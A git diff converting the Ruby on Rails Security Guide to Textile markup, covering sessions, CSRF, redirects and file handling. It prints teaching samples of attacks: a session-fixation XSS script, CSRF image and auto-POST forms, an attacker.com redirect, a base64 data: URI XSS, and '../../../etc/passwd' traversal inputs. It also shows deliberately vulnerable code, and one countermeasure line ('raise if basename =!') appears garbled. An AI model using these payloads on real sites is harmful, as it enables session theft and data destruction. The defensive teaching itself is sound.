-== Changelog ==
+h3. Changelog
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3
-* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by link:../authors.html#mgunderloy[Mike Gunderloy]
-* September 23, 2008: Added section on namespaced controllers and routing, by link:../authors.html#mgunderloy[Mike Gunderloy]
-* September 10, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy]
+* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy
+* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy
+* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/railties/doc/guides/source/security.txt b/railties/guides/source/security.textile
index b4e8bb4b41..1b64cc1be7 100644
--- a/railties/doc/guides/source/security.txt
+++ b/railties/guides/source/security.textile
@@ -1,18 +1,19 @@
-Ruby On Rails Security Guide
-============================
-
+h2. Ruby On Rails Security Guide
+
This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
-- All countermeasures [,#fffcdb]#that are highlighted#
-- The concept of sessions in Rails, what to put in there and popular attack methods
-- How just visiting a site can be a security problem (with CSRF)
-- What you have to pay attention to when working with files or providing an administration interface
-- The Rails-specific mass assignment problem
-- How to manage users: Logging in and out and attack methods on all layers
-- And the most popular injection attack methods
+* All countermeasures _(highlight)that are highlighted_
+* The concept of sessions in Rails, what to put in there and popular attack methods
+* How just visiting a site can be a security problem (with CSRF)
+* What you have to pay attention to when working with files or providing an administration interface
+* The Rails-specific mass assignment problem
+* How to manage users: Logging in and out and attack methods on all layers
+* And the most popular injection attack methods
+
+endprologue.
-== Introduction
+h3. Introduction
Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.
@@ -22,34 +23,33 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati
The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems.
-== Sessions
+h3. Sessions
A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
-=== What are sessions?
+h4. What are Sessions?
--- _HTTP is a stateless protocol Sessions make it stateful._
+-- _HTTP is a stateless protocol. Sessions make it stateful._
Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
session[:user_id] = @current_user.id
User.find(session[:user_id])
-----------------------------------------------------------------------------
+</ruby>
-=== Session id
+h4. Session id
-- _The session id is a 32 byte long MD5 hash value._
A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
-=== Session hijacking
+h4. Session Hijacking
-- _Stealing a user's session id lets an attacker use the web application in the victim's name._
@@ -57,27 +57,27 @@ Many web applications have an authentication system: a user provides a user name
Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
-- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to [,#fffcdb]#provide a secure connection over SSL#.
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_.
-- Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a [,#fffcdb]#log-out button# in the web application, and [,#fffcdb]#make it prominent#.
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
-- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-- Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security Threat Report].
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
-=== Session guidelines
+h4. Session Guidelines
-- _Here are some general guidelines on sessions._
-- [,#fffcdb]#Do not store large objects in a session#. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-- [,#fffcdb]#Critical data should not be stored in session#. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-=== Session storage
+h4. Session Storage
-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._
@@ -85,81 +85,73 @@ There are a number of session storages, i.e. where Rails saves the session hash
Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
-- Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. [,#fffcdb]#Storing the current user's database id in a session is usually ok#.
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
-- The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, [,#fffcdb]#you don't want to store any secrets here#. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So [,#fffcdb]#don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters#. Put the secret in your environment.rb:
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
-....................................
+<ruby>
config.action_controller.session = {
- :key => ‘_app_session’,
- :secret => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
+ :key => '_app_session',
+ :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
}
-....................................
+</ruby>
There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
-=== Replay attacks for CookieStore sessions
+h4. Replay Attacks for CookieStore Sessions
-- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
It works like this:
-- A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
-- The user buys something.
-- His new, lower credit will be stored in the session.
-- The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-- The user has his credit back.
+* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
+* The user buys something.
+* His new, lower credit will be stored in the session.
+* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+* The user has his credit back.
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
-The best [,#fffcdb]#solution against it is not to store this kind of data in a session, but in the database#. In this case store the credit in the database and the logged_in_user_id in the session.
+The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
-=== Session fixation
+h4. Session Fixation
-- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
-image::images/session_fixation.png[Session fixation]
+!images/session_fixation.png(Session fixation)!
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-. The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-
-. He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-
-. Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +<script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>+
-Read more about XSS and injection later on.
-
-. The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
+# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+# As the new trap session is unused, the web application will require the user to authenticate.
+# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-. As the new trap session is unused, the web application will require the user to authenticate.
-
-. From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-
-=== Session fixation – Countermeasures
+h4. Session Fixation – Countermeasures
-- _One line of code will protect you from session fixation._
-The most effective countermeasure is to [,#fffcdb]#issue a new session identifier# and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
reset_session
-----------------------------------------------------------------------------
+</ruby>
-If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, [,#fffcdb]#you have to transfer them to the new session#.
+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
-Another countermeasure is to [,#fffcdb]#save user-specific properties in the session#, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. [,#fffcdb]#These might change over the course of a session#, so these users will not be able to use your application, or only in a limited way.
+Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
-=== Session expiry
+h4. Session Expiry
-- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to [,#fffcdb]#expire sessions in a database table#. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago.
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
class Session < ActiveRecord::Base
def self.sweep(time_ago = nil)

 time = case time_ago
@@ -171,34 +163,35 @@ class Session < ActiveRecord::Base

 self.delete_all "updated_at < '#{time.to_s(:db)}'"

 end

end
-----------------------------------------------------------------------------
+</ruby>
The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
-[source, ruby]
-----------------------------------------------------------------------------
-self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
-----------------------------------------------------------------------------
+<ruby>
+self.delete_all "updated_at < '#{time.to_s(:db)}' OR
+ created_at < '#{2.days.ago.to_s(:db)}'"
+</ruby>
+
+h3. Cross-Site Request Forgery (CSRF)
-== Cross-Site Reference Forgery (CSRF)
-- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
-image::images/csrf.png[CSRF]
+!images/csrf.png!
-In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
-- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-- +<img src="http://www.webapp.com/project/1/destroy">+
-- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
-- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-- Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+* +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
+* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#.
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
-=== CSRF Countermeasures
+h4. CSRF Countermeasures
-- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
@@ -206,28 +199,27 @@ The HTTP protocol basically provides two main types of requests - GET and POST (
*Use GET if:*
-- The interaction is more [,#fffcdb]#like a question# (i.e., it is a safe operation such as a query, read operation, or lookup).
+* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
*Use POST if:*
-- The interaction is more [,#fffcdb]#like an order#, or
-- The interaction [,#fffcdb]#changes the state# of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-- The user is [,#fffcdb]#held accountable for the results# of the interaction.
+* The interaction is more _(highlight)like an order_, or
+* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _(highlight)held accountable for the results_ of the interaction.
If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
-[,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
+_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
-.................................................................................
+<ruby>
verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
-.................................................................................
+</ruby>
With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
-But this was only the first step, because [,#fffcdb]#POST requests can be send automatically, too#. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+But this was only the first step, because _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
-[source, html]
-----------------------------------------------------------------------------
+<html>
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
@@ -236,61 +228,65 @@ But this was only the first step, because [,#fffcdb]#POST requests can be send a
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
-----------------------------------------------------------------------------
+</html>
Or the attacker places the code into the onmouseover event handler of an image:
-+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />+
+<html>
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+</html>
-There are many other possibilities, including Ajax to attack the victim in the background.
The [,#fffcdb]#solution to this is including a security token in non-GET requests# which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
-+protect_from_forgery :secret => "123456789012345678901234567890..."+
+<ruby>
+protect_from_forgery :secret => "123456789012345678901234567890..."
+</ruby>
This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.
-Note that [,#fffcdb]#cross-site scripting (XSS) vulnerabilities bypass all CSRF protections#. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.
+Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-== Redirection and Files
+h3. Redirection and Files
Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
-=== Redirection
+h4. Redirection
-- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
def legacy
redirect_to(params.update(:action=>'main'))
end
-----------------------------------------------------------------------------
+</ruby>
This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
-+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com+
+<plain>
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+</plain>
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to [,#fffcdb]#include only the expected parameters in a legacy action# (again a whitelist approach, as opposed to removing unexpected parameters). [,#fffcdb]#And if you redirect to an URL, check it with a whitelist or a regular expression#.
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
-==== Self-contained XSS
+h5. Self-contained XSS
Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
-This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, [,#fffcdb]#do not allow the user to supply (parts of) the URL to be redirected to#.
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
-=== File uploads
+h4. File Uploads
-- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
-When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]:
+When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":http://github.com/technoweenie/attachment_fu/tree/master:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
def sanitize_filename(filename)
returning filename.strip do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
@@ -301,161 +297,177 @@ def sanitize_filename(filename)
name.gsub! /[^\w\.\-]/, '_'
end
end
-----------------------------------------------------------------------------
+</ruby>
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its [,#fffcdb]#vulnerability to denial-of-service attacks#. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
-The solution to this, is best to [,#fffcdb]#process media files asynchronously#: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
-=== Executable code in file uploads
+h4. Executable Code in File Uploads
--- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory._
+-- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
-[,#fffcdb]#If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it#, store files at least one level downwards.
+_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
-=== File downloads
+h4. File Downloads
-- _Make sure users cannot download arbitrary files._
Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
send_file('/var/www/uploads/' + params[:filename])
-----------------------------------------------------------------------------
+</ruby>
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to [,#fffcdb]#check that the requested file is in the expected directory#:
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename =!
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, :disposition => 'inline'
-----------------------------------------------------------------------------
+</ruby>
Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
-== Intranet and Admin security
+h3. Intranet and Admin Security
-- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
-In 2007 there was the first tailor-made http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html[Trojan] which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
-Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
